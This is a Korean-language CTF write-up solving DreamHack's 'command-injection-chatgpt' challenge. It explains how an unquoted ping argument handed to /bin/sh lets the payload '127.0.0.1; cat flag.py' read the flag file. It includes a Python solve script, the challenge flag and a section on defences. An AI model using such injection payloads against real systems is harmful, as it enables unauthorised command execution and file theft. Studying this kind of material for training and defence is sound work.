[🥉 Bronze 4] 따옴표조차 필요 없던 커맨드 인젝션 — DreamHack command-injection-chatgpt 풀이

문제: DreamHack — command-injection-chatgpt 분류: Web (OS Command Injection) 난이도: 🥉 Bronze 4 FLAG: DH{chatGPT_knows_what_the_ping_is}

이름부터가 힌트다. "chatgpt"가 짜준 것 같은 ping 테스터인데, 실제로 열어보면 앞서 푼 command-injection-1보다도 필터가 하나 적다. 그쪽은 그나마 큰따옴표로 입력값을 감싸기라도 했는데, 이 문제는 그마저도 없다. 입력을 그대로 셸 명령 한복판에 흘려보낸다.

문제 개요

압축을 풀면 Flask 앱 하나. /는 안내 문구뿐이고 /ping이 유일한 기능이다.

분석

서버 코드

app.py를 열면 /ping 라우트가 전부다.

@APP.route('/ping', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 {host}'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Timeout !')
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')
 
    return render_template('ping.html')

cmd = f'ping -c 3 {host}' — host에 따옴표가 하나도 안 붙는다. command-injection-1이었다면 f'ping -c 3 "{host}"'처럼 큰따옴표로 감싸서 최소한 닫는 흉내라도 냈을 텐데, 여기는 변수를 그냥 문자열 가운데 꽂아 넣는다. 그 문자열을 ['/bin/sh', '-c', cmd]로 셸에 던지니, host에 ;나 && 같은 셸 메타문자를 넣으면 그대로 새 명령으로 해석된다.

플래그 위치도 명확하다. app.py 맨 위에서 from flag import FLAG를 하고 있으니, 실행 디렉토리에 있는 flag.py를 읽으면 끝이다. FLAG 변수 자체는 코드 어디에서도 응답에 직접 쓰이지 않는다 — 즉 이 문제는 애플리케이션 로직으로 플래그를 노출하는 게 아니라, 순전히 셸에서 파일을 읽어내는 문제다.

ping 폼 확인

/ping에 들어가면 입력칸 하나에 버튼 하나뿐인 심플한 폼이다.

<input type="text" class="form-control" id="Host" placeholder="8.8.8.8" name="host" required>

command-injection-1에 있던 pattern="[A-Za-z0-9.]{5,20}" 같은 클라이언트 검증 속성도 없다. required 뿐이다.

8.8.8.8을 넣고 정상적으로 돌려본다.

서버가 실제로 ping -c 3 8.8.8.8을 돌려 그 결과를 <pre>에 그대로 얹어준다.

입력값이 진짜 셸 명령의 일부로 들어간다는 게 이 화면으로 확인된다.

페이로드 설계

명령 문자열이 만들어지는 모양은 이렇다.

cmd = f'ping -c 3 {host}'
        └────────┘└──┘
         고정 부분   host (감싸는 문자 없음)

command-injection-1이었다면 앞뒤 큰따옴표를 닫는 절차가 필요했지만, 여기는 애초에 감싸는 게 없으니 그 과정 자체가 생략된다. ;로 명령만 이어 붙이면 된다.

host = 127.0.0.1; cat flag.py

셸이 받는 문자열은:

ping -c 3 127.0.0.1; cat flag.py

; 뒤는 앞 명령 결과와 무관하게 실행되는 완전히 새로운 명령이다. ping이 정상 종료하든 말든 cat flag.py가 마지막에 성공(종료코드 0)하면 subprocess.check_output은 예외 없이 표준출력 전체 — ping 결과 + cat이 뱉은 flag.py 원문 — 을 그대로 돌려준다.

command-injection-1과 비교하면 우회할 필터가 하나도 없다는 점에서 오히려 더 기본형이다. 따옴표 짝을 맞출 필요도, 주석 처리로 뒤를 잘라낼 필요도 없다.

익스플로잇

브라우저에서 그대로 재현해본다. 입력칸에 페이로드를 넣고,

Ping!을 누르면 ping 결과 아래에 flag.py의 내용이 그대로 붙어 나온다.

FLAG = 'DH{chatGPT_knows_what_the_ping_is}' — cat이 파이썬 소스 파일을 그대로 출력한 것이라 변수 선언 문법까지 통째로 딸려 나온다.

같은 흐름을 스크립트로 정리했다.

# solve.py
import re, sys, html, urllib.request, urllib.parse
 
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:10383"
 
 
def ping(host: str) -> str:
    data = urllib.parse.urlencode({"host": host}).encode()
    req = urllib.request.Request(BASE.rstrip("/") + "/ping", data=data)
    body = urllib.request.urlopen(req, timeout=10).read().decode("utf-8", "replace")
    m = re.search(r"<pre>(.*?)</pre>", body, re.S)
    return html.unescape(m.group(1)).strip() if m else "(no <pre> output)"
 
 
# 1) 정상 동작 확인
print("[*] 정상 ping (8.8.8.8):")
print(ping("8.8.8.8"))
print()
 
# 2) 인젝션 — 따옴표 없이 그대로 셸에 꽂히므로 세미콜론만 붙이면 된다
payload = "127.0.0.1; cat flag.py"
print(f"[*] 페이로드: host={payload!r}")
out = ping(payload)
print("[*] 응답 <pre>:")
print(out)
 
# 3) 플래그 추출
flag = re.search(r"DH\{[^}]*\}", out)
if flag:
    print()
    print("[+] FLAG:", flag.group(0))

정상 ping 결과가 먼저 찍히고, 이어서 인젝션 페이로드를 보낸 응답에 플래그가 딸려온다.

DH{chatGPT_knows_what_the_ping_is}

방어 — 어떻게 막나

원인은 하나다. 사용자 입력을 셸 명령 문자열 조립에 그대로 썼다. 따옴표로 감싸는 정도로는 막을 수 없다는 게 이 문제와 command-injection-1을 나란히 놓고 보면 더 분명해진다 — 감싸든 안 감싸든 셸 메타문자를 통제하지 못하면 결국 뚫린다.

1. 셸을 아예 거치지 않는다. ping처럼 실행할 프로그램이 고정돼 있다면 인자를 리스트로 직접 넘긴다.

# 나쁨: f-string으로 조립한 문자열을 셸이 다시 파싱
subprocess.check_output(['/bin/sh', '-c', f'ping -c 3 {host}'])
 
# 좋음: host는 ping의 인자 하나일 뿐, 셸이 끼어들 자리가 없다
subprocess.check_output(['ping', '-c', '3', host])

이렇게 하면 host가 127.0.0.1; cat flag.py여도 ping은 그걸 "이상한 호스트명"으로 받아 이름 조회 실패로 끝날 뿐, ; 뒤가 별도 명령으로 실행되지 않는다.

2. 서버 측 입력 검증을 둔다. IP/호스트명만 받을 목적이면 ipaddress 모듈이나 정규식으로 서버에서 한 번 더 걸러야 한다. 클라이언트에만 의존한 검증(HTML pattern 등)은 애초에 보안 경계가 아니다.

3. 정말 셸이 필요하면 shlex.quote()로 인자를 이스케이프한다. 다만 1번처럼 리스트 인자로 넘길 수 있으면 그쪽이 항상 더 안전하다.

이름은 장난스럽지만, "사용자 입력 + f-string + 셸 실행"이라는 조합이 감싸는 문자 하나 없이도 곧바로 임의 명령 실행으로 이어진다는 걸 가장 압축된 형태로 보여주는 문제였다.